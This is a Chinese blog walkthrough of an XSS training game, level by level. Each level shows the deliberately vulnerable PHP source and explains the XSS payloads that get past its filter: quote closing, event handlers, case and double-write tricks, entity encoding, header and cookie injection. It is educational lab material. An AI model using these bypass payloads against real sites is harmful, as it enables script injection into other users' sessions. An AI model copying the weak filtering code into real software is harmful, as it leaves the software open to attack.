XSS注入<一>

xss在线练习平台地址:http://test.xss.tv/

1

xss小游戏:https://pan.baidu.com/s/128cEiVn7g-8f24-zt49Zuw     提取码:8d05

可以搭建在本地上,把文件放在WWW目录下,需要php+mysql环境(把PHPstudy打开就行了)

Level 1

2

1
2
3
4
5
6
7
8
9
<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

第一题看下源码,get方式接受没有对输入进行任何过滤,所以弹窗很简单,构造payload:

1
<script>alert(1)</script>

3

Level 2

4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

第二关可以看出有一个输入框,输入内容以get方式接受为$str变量,但是下面有一个htmlspecialchars()函数对$str做了处理,这个函数作用就是把预定义的字符转换为 HTML 实体,也就是说会过滤尖括号。但这题上面被过滤而下面input标签没有过滤,所以这时可以闭合掉双引号,有两种方法可以触发弹窗

(1)在input里面,添加事件,payload:

1
" onmouseover="alert(1)  //移动鼠标触发
1
" onclick="alert(1)  //点击输入框触发
1
" onfocus="alert(1)  //点击输入框触发

(2)将input标签闭合,payload:

1
"><script>alert(1)</script>  //最简单的双引号闭合
1
"><img src="1" onerror="alert(1)">  //使用<img>标签,src所指路径不存在图片则弹窗
1
"><a href="javascript:alert(1)">1</a>  //使用<a>标签,点击生成的链接触发弹窗
1
<a href="" onmouseover="alert(1)">1</a>  //移动鼠标至框内弹窗

5

Level 3

6

1
2
3
4
5
6
7
8
9
10
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>

分析源码发现两个地方都进行了过滤,所以尖括号不能使用,不过第二关中第一个方法应该还是可以的,在input标签中添加事件,但是这关中value属性使用的单引号所以要闭合单引号,把第二关双引号换成单引号就行了,payload:

1
' onclick='alert(1)等

7

Level 4

8

1
2
3
4
5
6
7
8
9
10
11
12
13
<h1 align=center>欢迎来到level4</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

分析源码第一处还是转义,第二处用了str_replace()函数处理,这个函数的作用是替换,<、>被替换成了空格不能闭合标签,所以与上一关是类似的添加事件就行了,不过这关value属性是双引号,payload:

1
" onclick="alert(1)等

9

Level 5

10

1
2
3
4
5
6
7
8
9
10
11
12
13
<h1 align=center>欢迎来到level5</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

这一关第一处进行转义,第二处有三步处理分别是strtolower()函数,把输入内容都转化为小写,所以不能用大写绕过,还有str_replace()函数,把<script和on替换成了<scr_ipt和o_n,所以不能闭合标签也不能用js事件触发了,但是替换的是<script而script不会被替换所以javascript是可以的并且这次没有过滤尖括号,payload:

1
"><a href="javascript:alert(1)">1</a>

11

Level 6

12

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<h1 align=center>欢迎来到level6</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

这一关过滤了很多字符,on、src、data、href、<script都被替换了,但是没有strtolower()函数没有对大小写进行过滤,所以可以用大写绕过,payload:

1
"> <Script>alert(1)</script>、" Onclick="alert(1)  等等

13

Level 7

14

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<h1 align=center>欢迎来到level7</h1>
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

于上一关不同之处是字符都被替换成了空格还多了strtolower()函数,所以这一关可以使用双写绕过,比如oonn,中间的on会被替换成空格,就变成了on。payload:

1
" oonnclick=alert(1)>、"><scscriptript>alert(1)</scscriptript>

15

Level 8

16

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<h1 align=center>欢迎来到level8</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>

分析源码,这一关还是替换了很多字符,也有strtolower()函数,而且“也被编码了,而尖括号,单引号,#、%等符号没有被过滤。看这一关后面有个添加友情链接,从源码看出需要添加链接后再点击友情链接才能弹窗,所以要用javascript绕过。而script被过滤了所以要用URL编码绕过,就是把javascript中一个字母进行编码,例r换成&#114 ;就变成了javasc&#114 ;ipt,HTML字符实体转换:https://www.qqxiuzi.cn/bianma/zifushiti.php ,payload:

1
javasc&#114;ipt:alert(1)

17

Level 9

18

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

比上一关多了一个if-else判断句,if中有个strpos()函数,这个函数原型是strpos(string,find,start)第一个参数string是必须的,规定了要搜索的字符串,第二个参数find是必须的,规定了要查找的字符串,第三个参数start是可选的,规定在何处开始搜索。

多的这部分就是对str7进行搜索,要找字符串 http:// ,所以if语句就是如果str7中没有要找的字符串,就执行if语句,如果找到了就会返回效应的位置比如2,就不会等于false,就可以绕过。payload:

1
javasc&#114;ipt:alert(1)//http://

注:要用单行注释符//把后边的http://注释掉,这里是在javascript伪协议里面,属于js范畴,所以单行注释符是可以使用的。

19

Level 10

20

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>

分析源码,这一关需要两个参数keyword和t_sort,尖括号<>都被转换成空,还有三个隐藏的输入框,参数t_sort就在一个hidden属性的input标签中,所以可以从隐藏的输入框入手,把type改成显示的,payload:

1
keyword=test&t_sort=" type="text" onclick="alert(1)等

21

Level 11、12、13

这三关是同样的东西,需要抓包改东西

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>

11、12关的源码只有第13行不同,分别是

1
<input name="t_ref"  value="'.$str33.'" type="hidden">
1
<input name="t_ua"  value="'.$str33.'" type="hidden">

13关第5行变成了

1
$str11=$_COOKIE["user"];

13行是

1
<input name="t_cook"  value="'.$str33.'" type="hidden">

其他都是一样的,其中$str11=$_SERVER[‘HTTP_REFERER’];这行代码说明11、12关考察的是http头部的xss注入,13关是cookie类型的xss注入,都需要进行抓包,可以使用burpsuite来抓。

11关是改Referer,12关改User-Agent,13关改cookie,payload(三关一样):

1
" type="text" onclick="alert(1)

11关

22

23

12关

24

25

13关

26

27

Level 14

这关看别人wp说的是通过修改图片的exif信息,造成解析图片exif触发XSS,利用工具推荐exiftool。但都没有这关的解析。这题跳过

Level 15

28

1
2
3
4
5
<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

分析代码,ng-include有包含文件的意思,也就相当于php里面的include,所以可以包含第一关的页面,payload:

1
src='level1.php?name=<img src=1 onerror=alert(1)>'

29

Level 16

30

1
2
3
4
5
6
7
8
9
<?php 
ini_set("display_errors", 0);
$str =strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace(" ","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>

分析源码,有strtolower()函数不能大小写绕过,script、/、 、都被转换成了&nbsp;,这时可以用其他符号绕过,比如%0a(换行)、%0d(回车)等,payload:

1
<img%0a%0dsrc=x%0a%0donerror=alert(1)>

31

Level 17、18

17关

1
2
3
4
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

18关

1
2
3
4
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

这两关是一个类型,看的其他人的wp说的放了个swf在页面但不是flash xss,只要在arg02后面加上onmouseover事件就行了,payload(两关一样):

1
arg01=a&arg02=b onmouseover=alert(1)

Level 19、20

这两关考察的就是flash xss了,这个现在不会还没学,找了找别人的wp这两关都没写,所以应该挺难的,不过找到了这两关的payload

19关

1
http://localhost/xss_test/level19.php?arg01=version&arg02=<a href="javascript:alert(1)">123</a>

20关

1
http://localhost/xss_test/level20.php?arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(1)//%26width%26height

参考文章:

https://www.cnblogs.com/bmjoker/p/9446472.html

https://www.jianshu.com/p/4e3a517bc4ea(他写了19关,不过我看不懂.......)